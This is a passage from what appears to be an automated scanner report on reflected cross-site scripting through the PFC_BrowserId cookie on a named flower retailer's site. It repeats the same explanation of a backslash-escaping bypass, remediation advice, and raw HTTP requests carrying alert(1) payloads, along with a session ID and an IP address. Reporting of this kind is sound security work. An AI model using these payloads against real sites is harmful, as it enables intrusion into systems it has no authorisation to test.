The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /thank-you-flowers-thk HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0da4c0f\"%3balert(1)//a2cf538b383; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:11:40 GMT Connection: close Content-Length: 189893
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b2be1\"%3balert(1)//0ed7ef32565 was submitted in the PFC_BrowserId cookie. This input was echoed as b2be1\\";alert(1)//0ed7ef32565 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /tulips-tul HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0db2be1\"%3balert(1)//0ed7ef32565; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:13:46 GMT Connection: close Content-Length: 119270
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7ca10\"%3balert(1)//92841a1f7dc was submitted in the PFC_BrowserId cookie. This input was echoed as 7ca10\\";alert(1)//92841a1f7dc in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /unique-christmas-gifts-cfv HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d7ca10\"%3balert(1)//92841a1f7dc; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:06:59 GMT Connection: close Content-Length: 261473
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4bfa3\"%3balert(1)//b451c04dd7f was submitted in the PFC_BrowserId cookie. This input was echoed as 4bfa3\\";alert(1)//b451c04dd7f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /winter-collection-wtr HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d4bfa3\"%3balert(1)//b451c04dd7f; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:11:32 GMT Connection: close Content-Length: 141586
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9c14c\"%3balert(1)//25183b861e7 was submitted in the PFC_BrowserId cookie. This input was echoed as 9c14c\\";alert(1)//25183b861e7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /wreaths-wth HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d9c14c\"%3balert(1)//25183b861e7; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:05:58 GMT Connection: close Content-Length: 89597